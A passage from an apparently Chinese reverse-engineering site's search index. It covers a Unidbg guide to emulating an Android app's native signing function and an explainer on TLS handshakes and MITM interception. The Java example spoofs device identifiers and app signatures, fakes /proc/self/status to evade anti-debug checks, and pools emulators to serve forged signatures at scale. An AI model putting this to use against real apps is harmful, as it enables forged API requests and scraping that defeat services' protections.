模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#xhook-plt-hook"},{"categories":null,"collections":null,"content":"指令级追踪 // 追踪指定范围内的所有指令 emulator.traceCode(module.base + 0x1000, module.base + 0x2000); // 监控内存读写 emulator.traceRead(0x40001000, 0x40001100); emulator.traceWrite(0x40001000, 0x40001100); ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:7:3","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#指令级追踪"},{"categories":null,"collections":null,"content":"Hook 方式对比 Hook 方式 原理 适用场景 性能影响 HookZz Inline Hook Hook 任意地址的函数 低 xHook PLT/GOT Hook Hook 导入的外部函数 极低 traceCode 指令回调 追踪执行流、分析算法逻辑 高 Breakpoint 断点中断 调试特定位置、检查寄存器状态 高 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:7:4","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#hook-方式对比"},{"categories":null,"collections":null,"content":"调试与排错 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:8:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#调试与排错"},{"categories":null,"collections":null,"content":"常见错误及解决方案 1. Invalid memory read/write UnicornException: Invalid memory read (UC_ERR_READ_UNMAPPED) at 0x00000000 原因：空指针引用。检查传入参数和 JNI 回调返回值是否有效。 2. UnsupportedOperationException UnsupportedOperationException: android/telephony/TelephonyManager-\u003egetDeviceId()Ljava/lang/String; 原因：未处理的 JNI 回调。在 callObjectMethod 等方法中补充对应签名的处理。 3. 缺少 SO 依赖 FileNotFoundException: resolve library: libcrypto.so failed 解决：手动预加载依赖库： vm.loadLibrary(new File(\"path/to/libcrypto.so\"), false); // 先加载依赖 vm.loadLibrary(new File(\"path/to/libtarget.so\"), true); // 再加载目标 4. 系统调用未实现 Unsupported syscall: 0x14e (334) 解决：查找 syscall 编号对应的功能，在 SyscallHandler 中补充实现。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:8:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#常见错误及解决方案"},{"categories":null,"collections":null,"content":"调试技巧 // 开启详细日志 vm.setVerbose(true); // 设置断点 Debugger debugger = emulator.attach(); debugger.addBreakPoint(module.base + 0x1A3C, (emu, addr) -\u003e { Arm32RegisterContext ctx = emu.getContext(); System.out.println(\"R0=0x\" + Long.toHexString(ctx.getR0Int())); System.out.println(\"R1=0x\" + Long.toHexString(ctx.getR1Int())); return true; // true=继续执行 }); // 内存 Dump byte[] data = emulator.getBackend().mem_read(address, size); Inspector.inspect(data, \"Memory dump\"); ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:8:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#调试技巧"},{"categories":null,"collections":null,"content":"排错流程 SO 执行失败 +-- JNI 调用未处理？ --\u003e 在 AbstractJni 中补充实现 +-- 系统调用未实现？ --\u003e 在 SyscallHandler 中补充 +-- 文件访问失败？ --\u003e 在 IOResolver 中添加文件模拟 +-- 内存访问错误？ --\u003e 检查参数传递和返回值 +-- 以上都不是？ --\u003e 开启 traceCode，结合 IDA 定位 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:8:3","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#排错流程"},{"categories":null,"collections":null,"content":"实战案例 💡 思路一句话: Unidbg 的核心思路是「在 PC 上模拟 Android 环境调用 SO 函数」— 不需要真机、不需要 root，直接在 Java 代码中加载 SO → 补齐 JNI 环境 → 调用目标函数 → 获取返回值。适合需要大量调用签名函数的场景。 模拟执行某 App 的 generateSign() 签名函数的完整流程。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:9:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#实战案例"},{"categories":null,"collections":null,"content":"目标 // com.example.security.SignUtil (从 Jadx 反编译获得) public class SignUtil { static { System.loadLibrary(\"security\"); } public static native String generateSign(Context ctx, String params, long timestamp); } ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:9:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#目标"},{"categories":null,"collections":null,"content":"完整实现 public class SignEmulator extends AbstractJni implements IOResolver\u003cAndroidFileIO\u003e { private final AndroidEmulator emulator; private final VM vm; private final DvmClass signUtilClass; public SignEmulator() { emulator = AndroidEmulatorBuilder.for32Bit() .setProcessName(\"com.example.security\") .build(); Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); emulator.getSyscallHandler().addIOResolver(this); vm = emulator.createDalvikVM(new File(\"src/main/resources/apk/target-app.apk\")); vm.setJni(this); vm.setVerbose(true); DalvikModule dm = vm.loadLibrary(\"security\", true); dm.callJNI_OnLoad(emulator); signUtilClass = vm.resolveClass(\"com/example/security/SignUtil\"); } public String generateSign(String params, long timestamp) { DvmObject\u003c?\u003e context = vm.resolveClass(\"android/content/Context\").newObject(null); DvmObject\u003c?\u003e result = signUtilClass.callStaticJniMethodObject(emulator, \"generateSign(Landroid/content/Context;Ljava/lang/String;J)Ljava/lang/String;\", context, new StringObject(vm, params), timestamp); return result != null ? result.getValue().toString() : null; } // ---------- JNI 回调 ---------- @Override public DvmObject\u003c?\u003e callObjectMethod(BaseVM vm, DvmObject\u003c?\u003e dvmObject, String signature, VarArg varArg) { switch (signature) { case \"android/content/Context-\u003egetPackageName()Ljava/lang/String;\": return new StringObject(vm, \"com.example.security\"); case \"android/content/Context-\u003egetPackageManager()Landroid/content/pm/PackageManager;\": return vm.resolveClass(\"android/content/pm/PackageManager\").newObject(null); case \"android/content/pm/PackageManager-\u003egetPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;\": return vm.resolveClass(\"android/content/pm/PackageInfo\").newObject(null); } return super.callObjectMethod(vm, dvmObject, signature, varArg); } @Override public DvmObject\u003c?\u003e callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) { if (signature.equals(\"android/provider/Settings$Secure-\u003egetString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;\")) { return new StringObject(vm, \"a1b2c3d4e5f67890\"); } return super.callStaticObjectMethod(vm, dvmClass, signature, varArg); } @Override public int callIntMethod(BaseVM vm, DvmObject\u003c?\u003e dvmObject, String signature, VarArg varArg) { if (\"android/content/pm/Signature-\u003ehashCode()I\".equals(signature)) return 0x12345678; // 从真机获取 return super.callIntMethod(vm, dvmObject, signature, varArg); } @Override public DvmObject\u003c?\u003e getObjectField(BaseVM vm, DvmObject\u003c?\u003e dvmObject, String signature) { if (\"android/content/pm/PackageInfo-\u003esignatures:[Landroid/content/pm/Signature;\".equals(signature)) { return new ArrayObject( vm.resolveClass(\"android/content/pm/Signature\").newObject(\"308201...\")); } return super.getObjectField(vm, dvmObject, signature); } // ---------- 文件系统 ---------- @Override public FileResult\u003cAndroidFileIO\u003e resolve(Emulator\u003cAndroidFileIO\u003e emulator, String pathname, int oflags) { if (\"/proc/self/status\".equals(pathname)) return FileResult.success(new ByteArrayFileIO(oflags, pathname, \"Name:\\tcom.example.security\\nTracerPid:\\t0\\n\".getBytes())); return null; } // ---------- 主入口 ---------- public static void main(String[] args) { SignEmulator emu = new SignEmulator(); long ts = System.currentTimeMillis() / 1000; String params = \"method=getUserInfo\u0026uid=12345\u0026token=abcdef\"; String sign = emu.generateSign(params, ts); System.out.println(\"Sign: \" + sign); emu.emulator.close(); } } ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:9:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#完整实现"},{"categories":null,"collections":null,"content":"迭代补环境过程 第 1 次运行: UnsupportedOperation: Context-\u003egetPackageName() --\u003e 补充 callObjectMethod 中的 getPackageName 第 2 次运行: UnsupportedOperation: Context-\u003egetPackageManager() --\u003e 补充 PackageManager 相关处理 第 3 次运行: FileNotFoundException: /proc/self/status --\u003e 补充 IOResolver 中的文件处理 第 4 次运行: UnsupportedOperation: Settings$Secure-\u003egetString() --\u003e 补充 android_id 的返回值 第 5 次运行: 成功输出签名结果！ 技巧: 每次出错后，复制错误信息中的方法签名，在对应的 callXxxMethod 中添加 case 即可。这就是**“补环境”**。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:9:3","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#迭代补环境过程"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:10:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#性能优化"},{"categories":null,"collections":null,"content":"后端引擎选择 后端引擎 特点 推荐场景 Unicorn 默认后端，兼容性最好 调试阶段 Dynarmic JIT 编译，性能提升 5-10 倍 批量调用、生产环境 KVM 硬件虚拟化 (仅 Linux ARM 主机) ARM 服务器部署 // 使用 Dynarmic 后端 AndroidEmulator emulator = AndroidEmulatorBuilder.for32Bit() .addBackendFactory(new DynarmicFactory(true)) .build(); ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:10:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#后端引擎选择"},{"categories":null,"collections":null,"content":"复用与并发 // Unidbg 不是线程安全的，需要使用对象池 public class SignServicePool { private final BlockingQueue\u003cSignEmulator\u003e pool; public SignServicePool(int poolSize) { pool = new LinkedBlockingQueue\u003c\u003e(poolSize); for (int i = 0; i \u003c poolSize; i++) pool.offer(new SignEmulator()); } public String sign(String params, long ts) throws InterruptedException { SignEmulator emu = pool.take(); try { return emu.generateSign(params, ts); } finally { pool.offer(emu); } } } ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:10:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#复用与并发"},{"categories":null,"collections":null,"content":"性能参考 +--------------------------------------------------+ | 测试: MacBook Pro M1, JDK 11, sign() 函数 | +--------------------------------------------------+ | 后端 | 单次调用 | 1000 次 | QPS | |------------|----------|---------|----------------| | Unicorn | ~15ms | ~12s | ~83 | | Dynarmic | ~2ms | ~1.8s | ~555 | +--------------------------------------------------+ | 初始化时间: ~500ms | 内存占用: ~80MB/实例 | +--------------------------------------------------+ 如果需要更高 QPS，可以封装为 HTTP 服务 (如 Spring Boot)，每个线程持有独立的 Emulator 实例。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:10:3","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#性能参考"},{"categories":null,"collections":null,"content":"TLS/SSL 握手过程 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:0:0","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#tlsssl-握手过程"},{"categories":null,"collections":null,"content":"概述 在 HTTPS 通信中，TLS/SSL 握手是建立安全连接的第一个环节。对于逆向工程，理解握手过程是破解 SSL Pinning（证书固定）和进行流量解密（MITM）的基础。 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:1:0","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#概述"},{"categories":null,"collections":null,"content":"TLS 1.2 握手流程（详细） ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:2:0","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#tls-12-握手流程详细"},{"categories":null,"collections":null,"content":"握手序列图 sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: 阶段 1: 协商加密参数 Client-\u003e\u003eServer: 1. Client Hello- TLS 版本- 加密套件列表- 客户端随机数 (Random1)- SNI 扩展 Server-\u003e\u003eClient: 2. Server Hello- 选择的加密套件- 服务器随机数 (Random2) Server-\u003e\u003eClient: 3. Certificate- 服务器证书链 Server-\u003e\u003eClient: 4. Server Hello Done Note over Client,Server: 阶段 2: 密钥交换与验证 Note over Client: 验证服务器证书- 检查证书链- 验证签名- 检查有效期 Note over Client: 生成 Pre-Master Secret Client-\u003e\u003eServer: 5. Client Key Exchange- 用服务器公钥加密的Pre-Master Secret Note over Client: 计算 Master Secret= f(Random1, Random2,Pre-Master Secret) Note over Server: 解密 Pre-Master Secret计算 Master Secret Client-\u003e\u003eServer: 6. Change Cipher Spec- 通知切换到加密模式 Client-\u003e\u003eServer: 7. Finished (加密)- 握手消息的 HMAC Server-\u003e\u003eClient: 8. Change Cipher Spec Server-\u003e\u003eClient: 9. Finished (加密) Note over Client,Server: 阶段 3: 加密通信 Client-\u003e\u003eServer: Application Data (加密) Server-\u003e\u003eClient: Application Data (加密) sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: 阶段 1: 协商加密参数 Client-\u003e\u003eServer: 1. Client Hello- TLS 版本- 加密套件列表- 客户端随机数 (Random1)- SNI 扩展 Server-\u003e\u003eClient: 2. Server Hello- 选择的加密套件- 服务器随机数 (Random2) Server-\u003e\u003eClient: 3. Certificate- 服务器证书链 Server-\u003e\u003eClient: 4. Server Hello Done Note over Client,Server: 阶段 2: 密钥交换与验证 Note over Client: 验证服务器证书- 检查证书链- 验证签名- 检查有效期 Note over Client: 生成 Pre-Master Secret Client-\u003e\u003eServer: 5. Client Key Exchange- 用服务器公钥加密的Pre-Master Secret Note over Client: 计算 Master Secret= f(Random1, Random2,Pre-Master Secret) Note over Server: 解密 Pre-Master Secret计算 Master Secret Client-\u003e\u003eServer: 6. Change Cipher Spec- 通知切换到加密模式 Client-\u003e\u003eServer: 7. Finished (加密)- 握手消息的 HMAC Server-\u003e\u003eClient: 8. Change Cipher Spec Server-\u003e\u003eClient: 9. Finished (加密) Note over Client,Server: 阶段 3: 加密通信 Client-\u003e\u003eServer: Application Data (加密) Server-\u003e\u003eClient: Application Data (加密) sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: 阶段 1: 协商加密参数 Client-\u003e\u003eServer: 1. Client Hello- TLS 版本- 加密套件列表- 客户端随机数 (Random1)- SNI 扩展 Server-\u003e\u003eClient: 2. Server Hello- 选择的加密套件- 服务器随机数 (Random2) Server-\u003e\u003eClient: 3. Certificate- 服务器证书链 Server-\u003e\u003eClient: 4. Server Hello Done Note over Client,Server: 阶段 2: 密钥交换与验证 Note over Client: 验证服务器证书- 检查证书链- 验证签名- 检查有效期 Note over Client: 生成 Pre-Master Secret Client-\u003e\u003eServer: 5. Client Key Exchange- 用服务器公钥加密的Pre-Master Secret Note over Client: 计算 Master Secret= f(Random1, Random2,Pre-Master Secret) Note over Server: 解密 Pre-Master Secret计算 Master Secret Client-\u003e\u003eServer: 6. Change Cipher Spec- 通知切换到加密模式 Client-\u003e\u003eServer: 7. Finished (加密)- 握手消息的 HMAC Server-\u003e\u003eClient: 8. Change Cipher Spec Server-\u003e\u003eClient: 9. Finished (加密) Note over Client,Server: 阶段 3: 加密通信 Client-\u003e\u003eServer: Application Data (加密) Server-\u003e\u003eClient: Application Data (加密) sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: 阶段 1: 协商加密参数 Client-\u003e\u003eServer: 1. Client Hello- TLS 版本- 加密套件列表- 客户端随机数 (Random1)- SNI 扩展 Server-\u003e\u003eClient: 2. Server Hello- 选择的加密套件- 服务器随机数 (Random2) Server-\u003e\u003eClient: 3. Certificate- 服务器证书链 Server-\u003e\u003eClient: 4. Server Hello Done Note over Client,Server: 阶段 2: 密钥交换与验证 Note over Client: 验证服务器证书- 检查证书链- 验证签名- 检查有效期 Note over Client: 生成 Pre-Master Secret Client-\u003e\u003eServer: 5. Client Key Exchange- 用服务器公钥加密的Pre-Master Secret Note over Client: 计算 Master Secret= f(Random1, Random2,Pre-Master Secret) Note over Server: 解密 Pre-Master Secret计算 Master Secret Client-\u003e\u003eServer: 6. Change Cipher Spec- 通知切换到加密模式 Client-\u003e\u003eServer: 7. Finished (加密)- 握手消息的 HMAC Server-\u003e\u003eClient: 8. Change Cipher Spec Server-\u003e\u003eClient: 9. Finished (加密) Note over Client,Server: 阶段 3: 加密通信 Client-\u003e\u003eServer: Application Data (加密) Server-\u003e\u003eClient: Application Data (加密) ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:2:1","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#握手序列图"},{"categories":null,"collections":null,"content":"1. 协商阶段 (Hello) Client Hello: 客户端发送支持的加密套件 (Cipher Suites)、TLS 版本、随机数 (Random1) 以及扩展字段（如 SNI 指明域名）。 JA3 指纹: 这里的 Client Hello 特征（加密套件顺序、扩展字段等）常被用于识别客户端指纹（JA3），用于反爬虫。 Server Hello: 服务器选择一组加密套件，发送自己的随机数 (Random2) 和 数字证书。 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:2:2","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#1-协商阶段-hello"},{"categories":null,"collections":null,"content":"2. 验证与密钥交换 (Key Exchange) 证书验证: 客户端验证服务器发来的证书是否可信（校验证书链、签名、有效期）。 密钥生成: 客户端生成\"预主密钥\" (Pre-Master Secret)，用服务器证书中的公钥加密后发送给服务器。 注: 在 TLS 1.3 或使用了 PFS (完美前向保密) 的算法中，密钥交换机制更复杂（Diffie-Hellman），不直接传输密钥。 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:2:3","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#2-验证与密钥交换-key-exchange"},{"categories":null,"collections":null,"content":"3. 加密通信 (Finished) 双方利用 Random1 + Random2 + Pre-Master Secret 计算出最终的 Session Key。 后续数据全部用 Session Key 进行对称加密传输。 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:2:4","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#3-加密通信-finished"},{"categories":null,"collections":null,"content":"TLS 1.3 握手流程（简化） TLS 1.3 大幅简化了握手过程，减少了往返次数（1-RTT）： sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: TLS 1.3: 1-RTT 握手 Client-\u003e\u003eServer: Client Hello- 支持的加密套件- 密钥共享 (Key Share)- 客户端随机数- SNI 扩展 Note over Server: 选择加密套件计算共享密钥生成会话密钥 Server-\u003e\u003eClient: Server Hello- 选择的加密套件- 密钥共享 (Key Share)- 服务器随机数 Server-\u003e\u003eClient: {Encrypted Extensions}{Certificate}{Certificate Verify}{Finished} Note over Client: 验证证书计算共享密钥生成会话密钥 Client-\u003e\u003eServer: {Finished} Note over Client,Server: 开始加密通信 Client-\u003e\u003eServer: {Application Data} Server-\u003e\u003eClient: {Application Data} sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: TLS 1.3: 1-RTT 握手 Client-\u003e\u003eServer: Client Hello- 支持的加密套件- 密钥共享 (Key Share)- 客户端随机数- SNI 扩展 Note over Server: 选择加密套件计算共享密钥生成会话密钥 Server-\u003e\u003eClient: Server Hello- 选择的加密套件- 密钥共享 (Key Share)- 服务器随机数 Server-\u003e\u003eClient: {Encrypted Extensions}{Certificate}{Certificate Verify}{Finished} Note over Client: 验证证书计算共享密钥生成会话密钥 Client-\u003e\u003eServer: {Finished} Note over Client,Server: 开始加密通信 Client-\u003e\u003eServer: {Application Data} Server-\u003e\u003eClient: {Application Data} sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: TLS 1.3: 1-RTT 握手 Client-\u003e\u003eServer: Client Hello- 支持的加密套件- 密钥共享 (Key Share)- 客户端随机数- SNI 扩展 Note over Server: 选择加密套件计算共享密钥生成会话密钥 Server-\u003e\u003eClient: Server Hello- 选择的加密套件- 密钥共享 (Key Share)- 服务器随机数 Server-\u003e\u003eClient: {Encrypted Extensions}{Certificate}{Certificate Verify}{Finished} Note over Client: 验证证书计算共享密钥生成会话密钥 Client-\u003e\u003eServer: {Finished} Note over Client,Server: 开始加密通信 Client-\u003e\u003eServer: {Application Data} Server-\u003e\u003eClient: {Application Data} sequenceDiagram participant Client as 客户端 participant Server as 服务器 Note over Client,Server: TLS 1.3: 1-RTT 握手 Client-\u003e\u003eServer: Client Hello- 支持的加密套件- 密钥共享 (Key Share)- 客户端随机数- SNI 扩展 Note over Server: 选择加密套件计算共享密钥生成会话密钥 Server-\u003e\u003eClient: Server Hello- 选择的加密套件- 密钥共享 (Key Share)- 服务器随机数 Server-\u003e\u003eClient: {Encrypted Extensions}{Certificate}{Certificate Verify}{Finished} Note over Client: 验证证书计算共享密钥生成会话密钥 Client-\u003e\u003eServer: {Finished} Note over Client,Server: 开始加密通信 Client-\u003e\u003eServer: {Application Data} Server-\u003e\u003eClient: {Application Data} TLS 1.3 主要改进: 1-RTT: 只需一次往返即可建立加密连接（TLS 1.2 需要 2-RTT） 0-RTT: 恢复会话时可实现零往返（但有重放攻击风险） 密钥交换: 仅支持 PFS (完美前向保密) 算法，如 ECDHE 去除弱加密: 移除 RSA 密钥交换、静态 DH 等不安全算法 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:3:0","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#tls-13-握手流程简化"},{"categories":null,"collections":null,"content":"逆向中的关键点 ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:0","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#逆向中的关键点"},{"categories":null,"collections":null,"content":"1. 为什么 Charles/Fiddler 抓不到 HTTPS 包？ 因为中间人（Charles）发给客户端的是 Charles 自己签发的伪造证书。 如果客户端（APP/浏览器）不信任 Charles 的根证书，握手就会在\"证书验证\"阶段失败，连接断开。 MITM 攻击原理图 sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over Client,Server: MITM 攻击场景 Client-\u003e\u003eProxy: Client Hello (访问 api.example.com) Proxy-\u003e\u003eServer: 转发 Client Hello Server-\u003e\u003eProxy: Server Hello + 真实证书 Note over Proxy: 生成伪造证书- 签发者: Charles CA- 主题: api.example.com Proxy-\u003e\u003eClient: 返回伪造证书 alt 客户端未信任 Charles CA Note over Client: ❌ 证书验证失败连接中断 else 客户端已信任 Charles CA Note over Client: ✅ 证书验证通过建立加密连接 Client-\u003e\u003eProxy: 加密数据 (用伪造证书公钥) Note over Proxy: 解密客户端数据 查看/修改 重新加密 Proxy-\u003e\u003eServer: 转发到服务器 (用真实证书) Server-\u003e\u003eProxy: 加密响应 Note over Proxy: 解密服务器响应 查看/修改 重新加密 Proxy-\u003e\u003eClient: 返回给客户端 end ","date":"2024-06-08","objectID":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/:4:1","tags":["Web","HTTP","RSA","Native层","签名验证","Frida"],"title":"TLS/SSL 握手过程","uri":"/reverse_engineering/web/01-foundations/tls_ssl_handshake/#1-为什么-charlesfiddler-抓不到-https-包"},{"categories":null,"collections":null,"content":"1. 为什么 Charles/Fiddler 抓不到 HTTPS 包？ 因为中间人（Charles）发给客户端的是 Charles 自己签发的伪造证书。 如果客户端（APP/浏览器）不信任 Charles 的根证书，握手就会在\"证书验证\"阶段失败，连接断开。 MITM 攻击原理图 sequenceDiagram participant Client as 客户端(APP/浏览器) participant Proxy as 中间人代理(Charles/Burp) participant Server as 目标服务器 Note over Client,Server: 正常 HTTPS 连接（无代理） Client-\u003e\u003eServer: 直接建立 TLS 连接 Server-\u003e\u003eClient: 返回真实服务器证书 Note over Client: 验证通过，建立加密连接 Note over 